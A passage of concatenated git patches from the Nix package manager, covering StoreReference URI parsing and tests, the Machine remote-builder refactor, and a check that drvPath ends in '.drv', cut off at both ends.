authority = ""; bool operator==(const Specified & rhs) const = default; auto operator<=>(const Specified & rhs) const = default; @@ -73,6 +73,14 @@ struct StoreReference bool operator==(const StoreReference & rhs) const = default; auto operator<=>(const StoreReference & rhs) const = default; + /** + * Render the whole store reference as a URI, including parameters. + */ + std::string render() const; + + /** + * Parse a URI into a store reference. + */ static StoreReference parse(const std::string & uri, const Params & extraParams = Params{}); }; diff --git a/src/libutil/url.hh b/src/libutil/url.hh index 24806bbff..6cd06e53d 100644 --- a/src/libutil/url.hh +++ b/src/libutil/url.hh @@ -33,6 +33,8 @@ std::string percentEncode(std::string_view s, std::string_view keep=""); std::map decodeQuery(const std::string & query); +std::string encodeQuery(const std::map & query); + ParsedURL parseURL(const std::string & url); /** diff --git a/tests/unit/libstore/data/store-reference/auto.txt b/tests/unit/libstore/data/store-reference/auto.txt new file mode 100644 index 000000000..4d18c3e59 --- /dev/null +++ b/tests/unit/libstore/data/store-reference/auto.txt @@ -0,0 +1 @@ +auto \ No newline at end of file diff --git a/tests/unit/libstore/data/store-reference/auto_param.txt b/tests/unit/libstore/data/store-reference/auto_param.txt new file mode 100644 index 000000000..54adabb25 --- /dev/null +++ b/tests/unit/libstore/data/store-reference/auto_param.txt @@ -0,0 +1 @@ +auto?root=/foo/bar/baz \ No newline at end of file diff --git a/tests/unit/libstore/data/store-reference/local_1.txt b/tests/unit/libstore/data/store-reference/local_1.txt new file mode 100644 index 000000000..74b1b9677 --- /dev/null +++ b/tests/unit/libstore/data/store-reference/local_1.txt @@ -0,0 +1 @@ +local://?root=/foo/bar/baz \ No newline at end of file diff --git a/tests/unit/libstore/data/store-reference/local_2.txt b/tests/unit/libstore/data/store-reference/local_2.txt new file mode 100644 index 000000000..8b5593fb1 --- /dev/null +++ b/tests/unit/libstore/data/store-reference/local_2.txt @@ -0,0 +1 @@ +local:///foo/bar/baz?trusted=true \ No newline at end of file diff --git a/tests/unit/libstore/data/store-reference/local_shorthand_1.txt b/tests/unit/libstore/data/store-reference/local_shorthand_1.txt new file mode 100644 index 000000000..896189be9 --- /dev/null +++ b/tests/unit/libstore/data/store-reference/local_shorthand_1.txt @@ -0,0 +1 @@ +local?root=/foo/bar/baz \ No newline at end of file diff --git a/tests/unit/libstore/data/store-reference/local_shorthand_2.txt b/tests/unit/libstore/data/store-reference/local_shorthand_2.txt new file mode 100644 index 000000000..7a9dad3b3 --- /dev/null +++ b/tests/unit/libstore/data/store-reference/local_shorthand_2.txt @@ -0,0 +1 @@ +/foo/bar/baz?trusted=true \ No newline at end of file diff --git a/tests/unit/libstore/data/store-reference/ssh.txt b/tests/unit/libstore/data/store-reference/ssh.txt new file mode 100644 index 000000000..8c61010ec --- /dev/null +++ b/tests/unit/libstore/data/store-reference/ssh.txt @@ -0,0 +1 @@ +ssh://localhost \ No newline at end of file diff --git a/tests/unit/libstore/data/store-reference/unix.txt b/tests/unit/libstore/data/store-reference/unix.txt new file mode 100644 index 000000000..195489048 --- /dev/null +++ b/tests/unit/libstore/data/store-reference/unix.txt @@ -0,0 +1 @@ +unix://?max-connections=7&trusted=true \ No newline at end of file diff --git a/tests/unit/libstore/data/store-reference/unix_shorthand.txt b/tests/unit/libstore/data/store-reference/unix_shorthand.txt new file mode 100644 index 000000000..0300337e9 --- /dev/null +++ b/tests/unit/libstore/data/store-reference/unix_shorthand.txt @@ -0,0 +1 @@ +daemon?max-connections=7&trusted=true \ No newline at end of file diff --git a/tests/unit/libstore/store-reference.cc b/tests/unit/libstore/store-reference.cc new file mode 100644 index 000000000..16e033ec4 --- /dev/null +++ b/tests/unit/libstore/store-reference.cc @@ -0,0 +1,123 @@ +#include +#include + +#include "file-system.hh" +#include "store-reference.hh" + +#include "tests/characterization.hh" +#include "tests/libstore.hh" + +namespace nix { + +using nlohmann::json; + +class StoreReferenceTest : public CharacterizationTest, public LibStoreTest +{ + Path unitTestData = getUnitTestData() + "/store-reference"; + + Path goldenMaster(PathView testStem) const override + { + return unitTestData + "/" + testStem + ".txt"; + } +}; + +#define URI_TEST_READ(STEM, OBJ) \ + TEST_F(StoreReferenceTest, PathInfo_##STEM##_from_uri) \ + { \ + readTest(#STEM, ([&](const auto & encoded) { \ + StoreReference expected = OBJ; \ + auto got = StoreReference::parse(encoded); \ + ASSERT_EQ(got, expected); \ + })); \ + } + +#define URI_TEST_WRITE(STEM, OBJ) \ + TEST_F(StoreReferenceTest, PathInfo_##STEM##_to_uri) \ + { \ + writeTest( \ + #STEM, \ + [&]() -> StoreReference { return OBJ; }, \ + [](const auto & file) { return StoreReference::parse(readFile(file)); }, \ + [](const auto & file, const auto & got) { return writeFile(file, got.render()); }); \ + } + +#define URI_TEST(STEM, OBJ) \ + URI_TEST_READ(STEM, OBJ) \ + URI_TEST_WRITE(STEM, OBJ) + +URI_TEST( + auto, + (StoreReference{ + .variant = StoreReference::Auto{}, + .params = {}, + })) + +URI_TEST( + auto_param, + (StoreReference{ + .variant = StoreReference::Auto{}, + .params = + { + {"root", "/foo/bar/baz"}, + }, + })) + +static StoreReference localExample_1{ + .variant = + StoreReference::Specified{ + .scheme = "local", + }, + .params = + { + {"root", "/foo/bar/baz"}, + }, +}; + +static StoreReference localExample_2{ + .variant = + StoreReference::Specified{ + .scheme = "local", + .authority = "/foo/bar/baz", + }, + .params = + { + {"trusted", "true"}, + }, +}; + +URI_TEST(local_1, localExample_1) + +URI_TEST(local_2, localExample_2) + +URI_TEST_READ(local_shorthand_1, localExample_1) + +URI_TEST_READ(local_shorthand_2, localExample_2) + +static StoreReference unixExample{ + .variant = + StoreReference::Specified{ + .scheme = "unix", + }, + .params = + { + {"max-connections", "7"}, + {"trusted", "true"}, + }, +}; + +URI_TEST(unix, unixExample) + +URI_TEST_READ(unix_shorthand, unixExample) + +URI_TEST( + ssh, + (StoreReference{ + .variant = + StoreReference::Specified{ + .scheme = "ssh", + .authority = "localhost", + }, + .params = {}, + })) + +} From b3ebcc5aad1f3c8f56895efc0632af47a5dca532 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Tue, 23 Jan 2024 15:36:03 -0500 Subject: [PATCH 0644/1251] Use the new `StoreReference` in `Machine` This makes the remote builder abstract syntax more robust. --- src/build-remote/build-remote.cc | 22 +++++++-------- src/libstore/machines.cc | 35 +++++++++++++++--------- src/libstore/machines.hh | 21 ++++++++++++-- tests/unit/libstore/machines.cc | 47 +++++++++++++++++--------------- 4 files changed, 77 insertions(+), 48 deletions(-) diff --git a/src/build-remote/build-remote.cc b/src/build-remote/build-remote.cc index 18eee830b..582e6d623 100644 --- a/src/build-remote/build-remote.cc +++ b/src/build-remote/build-remote.cc @@ -37,7 +37,7 @@ static std::string currentLoad; static AutoCloseFD openSlotLock(const Machine & m, uint64_t slot) { - return openLockFile(fmt("%s/%s-%d", currentLoad, escapeUri(m.storeUri), slot), true); + return openLockFile(fmt("%s/%s-%d", currentLoad, escapeUri(m.storeUri.render()), slot), true); } static bool allSupportedLocally(Store & store, const std::set& requiredFeatures) { @@ -99,7 +99,7 @@ static int main_build_remote(int argc, char * * argv) } std::optional drvPath; - std::string storeUri; + StoreReference storeUri; while (true) { @@ -135,7 +135,7 @@ static int main_build_remote(int argc, char * * argv) Machine * bestMachine = nullptr; uint64_t bestLoad = 0; for (auto & m : machines) { - debug("considering building on remote machine '%s'", m.storeUri); + debug("considering building on remote machine '%s'", m.storeUri.render()); if (m.enabled && m.systemSupported(neededSystem) && @@ -233,7 +233,7 @@ static int main_build_remote(int argc, char * * argv) try { - Activity act(*logger, lvlTalkative, actUnknown, fmt("connecting to '%s'", bestMachine->storeUri)); + Activity act(*logger, lvlTalkative, actUnknown, fmt("connecting to '%s'", bestMachine->storeUri.render())); sshStore = bestMachine->openStore(); sshStore->connect(); @@ -242,7 +242,7 @@ static int main_build_remote(int argc, char * * argv) } catch (std::exception & e) { auto msg = chomp(drainFD(5, false)); printError("cannot build on '%s': %s%s", - bestMachine->storeUri, e.what(), + bestMachine->storeUri.render(), e.what(), msg.empty() ? "" : ": " + msg); bestMachine->enabled = false; continue; @@ -257,15 +257,15 @@ connected: assert(sshStore); - std::cerr << "# accept\n" << storeUri << "\n"; + std::cerr << "# accept\n" << storeUri.render() << "\n"; auto inputs = readStrings(source); auto wantedOutputs = readStrings(source); - AutoCloseFD uploadLock = openLockFile(currentLoad + "/" + escapeUri(storeUri) + ".upload-lock", true); + AutoCloseFD uploadLock = openLockFile(currentLoad + "/" + escapeUri(storeUri.render()) + ".upload-lock", true); { - Activity act(*logger, lvlTalkative, actUnknown, fmt("waiting for the upload lock to '%s'", storeUri)); + Activity act(*logger, lvlTalkative, actUnknown, fmt("waiting for the upload lock to '%s'", storeUri.render())); auto old = signal(SIGALRM, handleAlarm); alarm(15 * 60); @@ -278,7 +278,7 @@ connected: auto substitute = settings.buildersUseSubstitutes ? Substitute : NoSubstitute; { - Activity act(*logger, lvlTalkative, actUnknown, fmt("copying dependencies to '%s'", storeUri)); + Activity act(*logger, lvlTalkative, actUnknown, fmt("copying dependencies to '%s'", storeUri.render())); copyPaths(*store, *sshStore, store->parseStorePathSet(inputs), NoRepair, NoCheckSigs, substitute); } @@ -316,7 +316,7 @@ connected: optResult = sshStore->buildDerivation(*drvPath, (const BasicDerivation &) drv); auto & result = *optResult; if (!result.success()) - throw Error("build of '%s' on '%s' failed: %s", store->printStorePath(*drvPath), storeUri, result.errorMsg); + throw Error("build of '%s' on '%s' failed: %s", store->printStorePath(*drvPath), storeUri.render(), result.errorMsg); } else { copyClosure(*store, *sshStore, StorePathSet {*drvPath}, NoRepair, NoCheckSigs, substitute); auto res = sshStore->buildPathsWithResults({ @@ -359,7 +359,7 @@ connected: } if (!missingPaths.empty()) { - Activity act(*logger, lvlTalkative, actUnknown, fmt("copying outputs from '%s'", storeUri)); + Activity act(*logger, lvlTalkative, actUnknown, fmt("copying outputs from '%s'", storeUri.render())); if (auto localStore = store.dynamic_pointer_cast()) for (auto & path : missingPaths) localStore->locksHeld.insert(store->printStorePath(path)); /* FIXME: ugly */ diff --git a/src/libstore/machines.cc b/src/libstore/machines.cc index 2d461c63a..644762242 100644 --- a/src/libstore/machines.cc +++ b/src/libstore/machines.cc @@ -6,7 +6,8 @@ namespace nix { -Machine::Machine(decltype(storeUri) storeUri, +Machine::Machine( + const std::string & storeUri, decltype(systemTypes) systemTypes, decltype(sshKey) sshKey, decltype(maxJobs) maxJobs, @@ -14,7 +15,7 @@ Machine::Machine(decltype(storeUri) storeUri, decltype(supportedFeatures) supportedFeatures, decltype(mandatoryFeatures) mandatoryFeatures, decltype(sshPublicHostKey) sshPublicHostKey) : - storeUri( + storeUri(StoreReference::parse( // Backwards compatibility: if the URI is schemeless, is not a path, // and is not one of the special store connection words, prepend // ssh://. @@ -28,7 +29,7 @@ Machine::Machine(decltype(storeUri) storeUri, || hasPrefix(storeUri, "local?") || hasPrefix(storeUri, "?") ? storeUri - : "ssh://" + storeUri), + : "ssh://" + storeUri)), systemTypes(systemTypes), sshKey(sshKey), maxJobs(maxJobs), @@ -63,23 +64,26 @@ bool Machine::mandatoryMet(const std::set & features) const }); } -ref Machine::openStore() const +StoreReference Machine::completeStoreReference() const { - Store::Params storeParams; - if (hasPrefix(storeUri, "ssh://")) { - storeParams["max-connections"] = "1"; - storeParams["log-fd"] = "4"; + auto storeUri = this->storeUri; + + auto * generic = std::get_if(&storeUri.variant); + + if (generic && generic->scheme == "ssh") { + storeUri.params["max-connections"] = "1"; + storeUri.params["log-fd"] = "4"; } - if (hasPrefix(storeUri, "ssh://") || hasPrefix(storeUri, "ssh-ng://")) { + if (generic && (generic->scheme == "ssh" || generic->scheme == "ssh-ng")) { if (sshKey != "") - storeParams["ssh-key"] = sshKey; + storeUri.params["ssh-key"] = sshKey; if (sshPublicHostKey != "") - storeParams["base64-ssh-public-host-key"] = sshPublicHostKey; + storeUri.params["base64-ssh-public-host-key"] = sshPublicHostKey; } { - auto & fs = storeParams["system-features"]; + auto & fs = storeUri.params["system-features"]; auto append = [&](auto feats) { for (auto & f : feats) { if (fs.size() > 0) fs += ' '; @@ -90,7 +94,12 @@ ref Machine::openStore() const append(mandatoryFeatures); } - return nix::openStore(storeUri, storeParams); + return storeUri; +} + +ref Machine::openStore() const +{ + return nix::openStore(completeStoreReference()); } static std::vector expandBuilderLines(const std::string & builders) diff --git a/src/libstore/machines.hh b/src/libstore/machines.hh index 8516409d4..97980df8d 100644 --- a/src/libstore/machines.hh +++ b/src/libstore/machines.hh @@ -2,6 +2,7 @@ ///@file #include "types.hh" +#include "store-reference.hh" namespace nix { @@ -9,7 +10,7 @@ class Store; struct Machine { - const std::string storeUri; + const StoreReference storeUri; const std::set systemTypes; const std::string sshKey; const unsigned int maxJobs; @@ -36,7 +37,8 @@ struct Machine { */ bool mandatoryMet(const std::set & features) const; - Machine(decltype(storeUri) storeUri, + Machine( + const std::string & storeUri, decltype(systemTypes) systemTypes, decltype(sshKey) sshKey, decltype(maxJobs) maxJobs, @@ -45,6 +47,21 @@ struct Machine { decltype(mandatoryFeatures) mandatoryFeatures, decltype(sshPublicHostKey) sshPublicHostKey); + /** + * Elaborate `storeUri` into a complete store reference, + * incorporating information from the other fields of the `Machine` + * as applicable. + */ + StoreReference completeStoreReference() const; + + /** + * Open a `Store` for this machine. + * + * Just a simple function composition: + * ```c++ + * nix::openStore(completeStoreReference()) + * ``` + */ ref openStore() const; }; diff --git a/tests/unit/libstore/machines.cc b/tests/unit/libstore/machines.cc index 9fd7fda54..4107ba655 100644 --- a/tests/unit/libstore/machines.cc +++ b/tests/unit/libstore/machines.cc @@ -3,24 +3,16 @@ #include "file-system.hh" #include "util.hh" +#include #include using testing::Contains; using testing::ElementsAre; -using testing::EndsWith; using testing::Eq; using testing::Field; using testing::SizeIs; -using nix::absPath; -using nix::FormatError; -using nix::UsageError; -using nix::getMachines; -using nix::Machine; -using nix::Machines; -using nix::pathExists; -using nix::Settings; -using nix::settings; +using namespace nix; class Environment : public ::testing::Environment { public: @@ -40,7 +32,7 @@ TEST(machines, getMachinesUriOnly) { settings.builders = "nix@scratchy.labs.cs.uu.nl"; Machines actual = getMachines(); ASSERT_THAT(actual, SizeIs(1)); - EXPECT_THAT(actual[0], Field(&Machine::storeUri, Eq("ssh://nix@scratchy.labs.cs.uu.nl"))); + EXPECT_THAT(actual[0], Field(&Machine::storeUri, Eq(StoreReference::parse("ssh://nix@scratchy.labs.cs.uu.nl")))); EXPECT_THAT(actual[0], Field(&Machine::systemTypes, ElementsAre("TEST_ARCH-TEST_OS"))); EXPECT_THAT(actual[0], Field(&Machine::sshKey, SizeIs(0))); EXPECT_THAT(actual[0], Field(&Machine::maxJobs, Eq(1))); @@ -54,7 +46,7 @@ TEST(machines, getMachinesDefaults) { settings.builders = "nix@scratchy.labs.cs.uu.nl - - - - - - -"; Machines actual = getMachines(); ASSERT_THAT(actual, SizeIs(1)); - EXPECT_THAT(actual[0], Field(&Machine::storeUri, Eq("ssh://nix@scratchy.labs.cs.uu.nl"))); + EXPECT_THAT(actual[0], Field(&Machine::storeUri, Eq(StoreReference::parse("ssh://nix@scratchy.labs.cs.uu.nl")))); EXPECT_THAT(actual[0], Field(&Machine::systemTypes, ElementsAre("TEST_ARCH-TEST_OS"))); EXPECT_THAT(actual[0], Field(&Machine::sshKey, SizeIs(0))); EXPECT_THAT(actual[0], Field(&Machine::maxJobs, Eq(1))); @@ -64,20 +56,31 @@ TEST(machines, getMachinesDefaults) { EXPECT_THAT(actual[0], Field(&Machine::sshPublicHostKey, SizeIs(0))); } +MATCHER_P(AuthorityMatches, authority, "") { + *result_listener + << "where the authority of " + << arg.render() + << " is " + << authority; + auto * generic = std::get_if(&arg.variant); + if (!generic) return false; + return generic->authority == authority; +} + TEST(machines, getMachinesWithNewLineSeparator) { settings.builders = "nix@scratchy.labs.cs.uu.nl\nnix@itchy.labs.cs.uu.nl"; Machines actual = getMachines(); ASSERT_THAT(actual, SizeIs(2)); - EXPECT_THAT(actual, Contains(Field(&Machine::storeUri, EndsWith("nix@scratchy.labs.cs.uu.nl")))); - EXPECT_THAT(actual, Contains(Field(&Machine::storeUri, EndsWith("nix@itchy.labs.cs.uu.nl")))); + EXPECT_THAT(actual, Contains(Field(&Machine::storeUri, AuthorityMatches("nix@scratchy.labs.cs.uu.nl")))); + EXPECT_THAT(actual, Contains(Field(&Machine::storeUri, AuthorityMatches("nix@itchy.labs.cs.uu.nl")))); } TEST(machines, getMachinesWithSemicolonSeparator) { settings.builders = "nix@scratchy.labs.cs.uu.nl ; nix@itchy.labs.cs.uu.nl"; Machines actual = getMachines(); EXPECT_THAT(actual, SizeIs(2)); - EXPECT_THAT(actual, Contains(Field(&Machine::storeUri, EndsWith("nix@scratchy.labs.cs.uu.nl")))); - EXPECT_THAT(actual, Contains(Field(&Machine::storeUri, EndsWith("nix@itchy.labs.cs.uu.nl")))); + EXPECT_THAT(actual, Contains(Field(&Machine::storeUri, AuthorityMatches("nix@scratchy.labs.cs.uu.nl")))); + EXPECT_THAT(actual, Contains(Field(&Machine::storeUri, AuthorityMatches("nix@itchy.labs.cs.uu.nl")))); } TEST(machines, getMachinesWithCorrectCompleteSingleBuilder) { @@ -86,7 +89,7 @@ TEST(machines, getMachinesWithCorrectCompleteSingleBuilder) { "benchmark SSH+HOST+PUBLIC+KEY+BASE64+ENCODED=="; Machines actual = getMachines(); ASSERT_THAT(actual, SizeIs(1)); - EXPECT_THAT(actual[0], Field(&Machine::storeUri, EndsWith("nix@scratchy.labs.cs.uu.nl"))); + EXPECT_THAT(actual[0], Field(&Machine::storeUri, AuthorityMatches("nix@scratchy.labs.cs.uu.nl"))); EXPECT_THAT(actual[0], Field(&Machine::systemTypes, ElementsAre("i686-linux"))); EXPECT_THAT(actual[0], Field(&Machine::sshKey, Eq("/home/nix/.ssh/id_scratchy_auto"))); EXPECT_THAT(actual[0], Field(&Machine::maxJobs, Eq(8))); @@ -104,7 +107,7 @@ TEST(machines, "KEY+BASE64+ENCODED=="; Machines actual = getMachines(); ASSERT_THAT(actual, SizeIs(1)); - EXPECT_THAT(actual[0], Field(&Machine::storeUri, EndsWith("nix@scratchy.labs.cs.uu.nl"))); + EXPECT_THAT(actual[0], Field(&Machine::storeUri, AuthorityMatches("nix@scratchy.labs.cs.uu.nl"))); EXPECT_THAT(actual[0], Field(&Machine::systemTypes, ElementsAre("i686-linux"))); EXPECT_THAT(actual[0], Field(&Machine::sshKey, Eq("/home/nix/.ssh/id_scratchy_auto"))); EXPECT_THAT(actual[0], Field(&Machine::maxJobs, Eq(8))); @@ -120,7 +123,7 @@ TEST(machines, getMachinesWithMultiOptions) { "MandatoryFeature1,MandatoryFeature2"; Machines actual = getMachines(); ASSERT_THAT(actual, SizeIs(1)); - EXPECT_THAT(actual[0], Field(&Machine::storeUri, EndsWith("nix@scratchy.labs.cs.uu.nl"))); + EXPECT_THAT(actual[0], Field(&Machine::storeUri, AuthorityMatches("nix@scratchy.labs.cs.uu.nl"))); EXPECT_THAT(actual[0], Field(&Machine::systemTypes, ElementsAre("Arch1", "Arch2"))); EXPECT_THAT(actual[0], Field(&Machine::supportedFeatures, ElementsAre("SupportedFeature1", "SupportedFeature2"))); EXPECT_THAT(actual[0], Field(&Machine::mandatoryFeatures, ElementsAre("MandatoryFeature1", "MandatoryFeature2"))); @@ -146,9 +149,9 @@ TEST(machines, getMachinesWithCorrectFileReference) { settings.builders = std::string("@") + path; Machines actual = getMachines(); ASSERT_THAT(actual, SizeIs(3)); - EXPECT_THAT(actual, Contains(Field(&Machine::storeUri, EndsWith("nix@scratchy.labs.cs.uu.nl")))); - EXPECT_THAT(actual, Contains(Field(&Machine::storeUri, EndsWith("nix@itchy.labs.cs.uu.nl")))); - EXPECT_THAT(actual, Contains(Field(&Machine::storeUri, EndsWith("nix@poochie.labs.cs.uu.nl")))); + EXPECT_THAT(actual, Contains(Field(&Machine::storeUri, AuthorityMatches("nix@scratchy.labs.cs.uu.nl")))); + EXPECT_THAT(actual, Contains(Field(&Machine::storeUri, AuthorityMatches("nix@itchy.labs.cs.uu.nl")))); + EXPECT_THAT(actual, Contains(Field(&Machine::storeUri, AuthorityMatches("nix@poochie.labs.cs.uu.nl")))); } TEST(machines, getMachinesWithCorrectFileReferenceToEmptyFile) { From f923ed6b6a7318e8fc77e8d3aeda6796671f67cb Mon Sep 17 00:00:00 2001 From: John Ericson Date: Wed, 22 May 2024 12:35:44 -0400 Subject: [PATCH 0645/1251] Require `drvPath` attribute to end with `.drv` Fixes #4977 --- src/libexpr/eval-cache.cc | 1 + src/libexpr/eval-error.cc | 3 +-- src/libexpr/get-drvs.cc | 18 +++++++++---- src/libexpr/print.cc | 23 +++++++++++----- src/libstore/derivations.cc | 5 ++-- src/libstore/path.cc | 8 +++++- src/libstore/path.hh | 27 +++++++------------ src/nix-env/user-env.cc | 1 + src/nix/bundle.cc | 2 ++ tests/functional/lang.sh | 3 +++ .../lang/non-eval-fail-bad-drvPath.nix | 14 ++++++++++ 11 files changed, 71 insertions(+), 34 deletions(-) create mode 100644 tests/functional/lang/non-eval-fail-bad-drvPath.nix diff --git a/src/libexpr/eval-cache.cc b/src/libexpr/eval-cache.cc index d60967a14..a8222b985 100644 --- a/src/libexpr/eval-cache.cc +++ b/src/libexpr/eval-cache.cc @@ -753,6 +753,7 @@ StorePath AttrCursor::forceDerivation() { auto aDrvPath = getAttr(root->state.sDrvPath, true); auto drvPath = root->state.store->parseStorePath(aDrvPath->getString()); + drvPath.requireDerivation(); if (!root->state.store->isValidPath(drvPath) && !settings.readOnlyMode) { /* The eval cache contains 'drvPath', but the actual path has been garbage-collected. So force it to be regenerated. */ diff --git a/src/libexpr/eval-error.cc b/src/libexpr/eval-error.cc index 8db03610b..a9409468c 100644 --- a/src/libexpr/eval-error.cc +++ b/src/libexpr/eval-error.cc @@ -27,8 +27,7 @@ EvalErrorBuilder & EvalErrorBuilder::atPos(Value & value, PosIdx fallback) template EvalErrorBuilder & EvalErrorBuilder::withTrace(PosIdx pos, const std::string_view text) { - error.err.traces.push_front( - Trace{.pos = error.state.positions[pos], .hint = HintFmt(std::string(text))}); + error.addTrace(error.state.positions[pos], text); return *this; } diff --git a/src/libexpr/get-drvs.cc b/src/libexpr/get-drvs.cc index cf10ed84a..ed16a51a1 100644 --- a/src/libexpr/get-drvs.cc +++ b/src/libexpr/get-drvs.cc @@ -69,13 +69,21 @@ std::string PackageInfo::querySystem() const std::optional PackageInfo::queryDrvPath() const { if (!drvPath && attrs) { - NixStringContext context; - if (auto i = attrs->get(state->sDrvPath)) - drvPath = {state->coerceToStorePath(i->pos, *i->value, context, "while evaluating the 'drvPath' attribute of a derivation")}; - else + if (auto i = attrs->get(state->sDrvPath)) { + NixStringContext context; + auto found = state->coerceToStorePath(i->pos, *i->value, context, "while evaluating the 'drvPath' attribute of a derivation"); + try { + found.requireDerivation(); + } catch (Error & e) { + e.addTrace(state->positions[i->pos], "while evaluating the 'drvPath' attribute of a derivation"); + throw; + } + drvPath = {std::move(found)}; + } else drvPath = {std::nullopt}; } - return drvPath.value_or(std::nullopt); + drvPath.value_or(std::nullopt); + return *drvPath; } diff --git a/src/libexpr/print.cc b/src/libexpr/print.cc index 7799a0bbe..d53fadac7 100644 --- a/src/libexpr/print.cc +++ b/src/libexpr/print.cc @@ -271,16 +271,27 @@ private: void printDerivation(Value & v) { - NixStringContext context; - std::string storePath; - if (auto i = v.attrs()->get(state.sDrvPath)) - storePath = state.store->printStorePath(state.coerceToStorePath(i->pos, *i->value, context, "while evaluating the drvPath of a derivation")); + std::optional storePath; + if (auto i = v.attrs()->get(state.sDrvPath)) { + NixStringContext context; + storePath = state.coerceToStorePath(i->pos, *i->value, context, "while evaluating the drvPath of a derivation"); + } + + /* This unforutately breaks printing nested values because of + how the pretty printer is used (when pretting printing and warning + to same terminal / std stream). */ +#if 0 + if (storePath && !storePath->isDerivation()) + warn( + "drvPath attribute '%s' is not a valid store path to a derivation, this value not work properly", + state.store->printStorePath(*storePath)); +#endif if (options.ansiColors) output << ANSI_GREEN; output << "«derivation"; - if (!storePath.empty()) { - output << " " << storePath; + if (storePath) { + output << " " << state.store->printStorePath(*storePath); } output << "»"; if (options.ansiColors) diff --git a/src/libstore/derivations.cc b/src/libstore/derivations.cc index e13705911..869880112 100644 --- a/src/libstore/derivations.cc +++ b/src/libstore/derivations.cc @@ -930,10 +930,9 @@ DerivationOutputsAndOptPaths BasicDerivation::outputsAndOptPaths(const StoreDirC std::string_view BasicDerivation::nameFromPath(const StorePath & drvPath) { + drvPath.requireDerivation(); auto nameWithSuffix = drvPath.name(); - constexpr std::string_view extension = ".drv"; - assert(hasSuffix(nameWithSuffix, extension)); - nameWithSuffix.remove_suffix(extension.size()); + nameWithSuffix.remove_suffix(drvExtension.size()); return nameWithSuffix; } diff --git a/src/libstore/path.cc b/src/libstore/path.cc index 4b806e408..8d9726722 100644 --- a/src/libstore/path.cc +++ b/src/libstore/path.cc @@ -49,11 +49,17 @@ StorePath::StorePath(const Hash & hash, std::string_view _name) checkName(baseName, name()); } -bool StorePath::isDerivation() const +bool StorePath::isDerivation() const noexcept { return hasSuffix(name(), drvExtension); } +void StorePath::requireDerivation() const +{ + if (!isDerivation()) + throw FormatError("store path '%s' is not a valid derivation path", to_string()); +} + StorePath StorePath::dummy("ffffffffffffffffffffffffffffffff-x"); StorePath StorePath::random(std::string_view name) diff --git a/src/libstore/path.hh b/src/libstore/path.hh index 3c26fc515..4abbfcd7c 100644 --- a/src/libstore/path.hh +++ b/src/libstore/path.hh @@ -35,30 +35,23 @@ public: StorePath(const Hash & hash, std::string_view name); - std::string_view to_string() const + std::string_view to_string() const noexcept { return baseName; } - bool operator < (const StorePath & other) const - { - return baseName < other.baseName; - } - - bool operator == (const StorePath & other) const - { - return baseName == other.baseName; - } - - bool operator != (const StorePath & other) const - { - return baseName != other.baseName; - } + bool operator == (const StorePath & other) const noexcept = default; + auto operator <=> (const StorePath & other) const noexcept = default; /** * Check whether a file name ends with the extension for derivations. */ - bool isDerivation() const; + bool isDerivation() const noexcept; + + /** + * Throw an exception if `isDerivation` is false. + */ + void requireDerivation() const; std::string_view name() const { @@ -82,7 +75,7 @@ typedef std::vector StorePaths; * The file extension of \ref Derivation derivations when serialized * into store objects. */ -const std::string drvExtension = ".drv"; +constexpr std::string_view drvExtension = ".drv"; } diff --git a/src/nix-env/user-env.cc b/src/nix-env/user-env.cc index 6cbbacb15..f7b091f8f 100644 --- a/src/nix-env/user-env.cc +++ b/src/nix-env/user-env.cc @@ -140,6 +140,7 @@ bool createUserEnv(EvalState & state, PackageInfos & elems, NixStringContext context; auto & aDrvPath(*topLevel.attrs()->find(state.sDrvPath)); auto topLevelDrv = state.coerceToStorePath(aDrvPath.pos, *aDrvPath.value, context, ""); + topLevelDrv.requireDerivation(); auto & aOutPath(*topLevel.attrs()->find(state.sOutPath)); auto topLevelOut = state.coerceToStorePath(aOutPath.pos, *aOutPath.value, context, ""); diff --git a/src/nix/bundle.cc b/src/nix/bundle.cc index 2e50392f7..554c36540 100644 --- a/src/nix/bundle.cc +++ b/src/nix/bundle.cc @@ -100,6 +100,8 @@ struct CmdBundle : InstallableValueCommand NixStringContext context2; auto drvPath = evalState->coerceToStorePath(attr1->pos, *attr1->value, context2, ""); + drvPath.requireDerivation(); + auto attr2 = vRes->attrs()->get(evalState->sOutPath); if (!attr2) throw Error("the bundler '%s' does not produce a derivation", bundler.what()); diff --git a/tests/functional/lang.sh b/tests/functional/lang.sh index c45326473..60603cebe 100755 --- a/tests/functional/lang.sh +++ b/tests/functional/lang.sh @@ -24,6 +24,9 @@ nix-instantiate --eval -E 'builtins.traceVerbose "Hello" 123' 2>&1 | grepQuietIn nix-instantiate --show-trace --eval -E 'builtins.addErrorContext "Hello" 123' 2>&1 | grepQuietInverse Hello expectStderr 1 nix-instantiate --show-trace --eval -E 'builtins.addErrorContext "Hello" (throw "Foo")' | grepQuiet Hello expectStderr 1 nix-instantiate --show-trace --eval -E 'builtins.addErrorContext "Hello %" (throw "Foo")' | grepQuiet 'Hello %' +# Relies on parsing the expression derivation as a derivation, can't use --eval +expectStderr 1 nix-instantiate --show-trace lang/non-eval-fail-bad-drvPath.nix | grepQuiet "store path '8qlfcic10lw5304gqm8q45nr7g7jl62b-cachix-1.7.3-bin' is not a valid derivation path" + nix-instantiate --eval -E 'let x = builtins.trace { x = x; } true; in x' \ 2>&1 | grepQuiet -E 'trace: { x = «potential infinite recursion»; }' diff --git a/tests/functional/lang/non-eval-fail-bad-drvPath.nix b/tests/functional/lang/non-eval-fail-bad-drvPath.nix new file mode 100644 index 000000000..23639bc54 --- /dev/null +++ b/tests/functional/lang/non-eval-fail-bad-drvPath.nix @@ -0,0 +1,14 @@ +let + package = { + type = "derivation"; + name = "cachix-1.7.3"; + system = builtins.currentSystem; + outputs = [ "out" ]; + # Illegal, because does not end in `.drv` + drvPath = "${builtins.storeDir}/8qlfcic10lw5304gqm8q45nr7g7jl62b-cachix-1.7.3-bin"; + outputName = "out"; + outPath = "${builtins.storeDir}/8qlfcic10lw5304gqm8q45nr7g7jl62b-cachix-1.7.3-bin"; + out = package; + }; +in +package From d5fdfdc59294bbbf9c27479fb2ca3ecee71dc659 Mon Sep 17 00:00:00 2001 From: John Ericson Date: Wed, 22 May 2024 16:04:14 -0400 Subject: [PATCH 0646/1251] `unshareFilesystem`: Do not assume caller --- src/libstore/filetransfer.cc | 7 ++++++- src/libutil/linux/namespaces.cc | 2 +- 2 files changed, 7 insertions(+), 2 deletions(-) diff --git a/src/libstore/filetransfer.cc b/src/libstore/filetransfer.cc index 219b60c44..e28dd43ec 100644 --- a/src/libstore/filetransfer.cc +++ b/src/libstore/filetransfer.cc @@ 